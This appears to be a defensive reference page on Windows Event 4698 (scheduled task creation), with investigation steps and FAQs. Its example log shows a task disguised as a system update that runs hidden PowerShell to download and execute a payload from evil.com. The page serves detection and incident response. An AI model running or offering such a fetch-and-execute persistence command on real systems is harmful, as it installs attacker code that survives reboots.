Windows Event 4698 — Scheduled Task Created

WindowsEvents Windows Security Persistence / Scheduled Task Abuse

What This Means

Track Windows Event 4698 to detect malicious scheduled tasks. Attackers use scheduled tasks for persistence, privilege escalation, and lateral movement in compromised environments.

Example Log

A scheduled task was created.

Subject:
  Security ID:    S-1-5-21-3398...-1103
  Account Name:   jsmith
  Account Domain: CONTOSO
  Logon ID:       0x1A2B3C

Task Information:
  Task Name:      \Microsoft\Windows\SystemUpdate
  Task Content:   <?xml version="1.0"?>
  <Task><Actions><Exec>
    <Command>powershell.exe</Command>
    <Arguments>-ep bypass -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')</Arguments>
  </Exec></Actions></Task>

Indicators of Suspicious Activity

How to Investigate

  1. Review the full Task Content XML to understand what the task executes
  2. Identify who created the task (Subject) and verify authorization
  3. Check the RunAs account configured for the task (SYSTEM, Network Service, specific user)
  4. Scan the command and arguments for obfuscation, encoded content, or download URLs
  5. Verify the task trigger schedule — tasks set for off-hours or at boot are common for persistence
  6. Correlate with Event 4688 to see if the task has already executed

Recommended Mitigations

Scan This Log Instantly

Paste a suspicious log line below and get an instant AI-powered security assessment.

0 / 2000

Need a Full Investigation?

Scan entire log files, detect attack patterns, reconstruct timelines, and generate a full investigation report.

Run Smart Scan

Related Attack Patterns

Frequently Asked Questions

Why do attackers create scheduled tasks?
Scheduled tasks provide persistence — the malicious code runs automatically even after reboots. They can also be used for privilege escalation by configuring the task to run as SYSTEM, and for lateral movement by creating tasks on remote systems.
How can I audit all existing scheduled tasks?
Use PowerShell: Get-ScheduledTask | Where-Object {$_.State -ne 'Disabled'} | Select TaskName, TaskPath, Actions. Focus on tasks running PowerShell, cmd.exe, or executables in non-standard paths.
What is the difference between Event 4698 and 4702?
Event 4698 logs task creation, while Event 4702 logs task updates. Both should be monitored, but 4698 is more critical as it represents new persistence being established.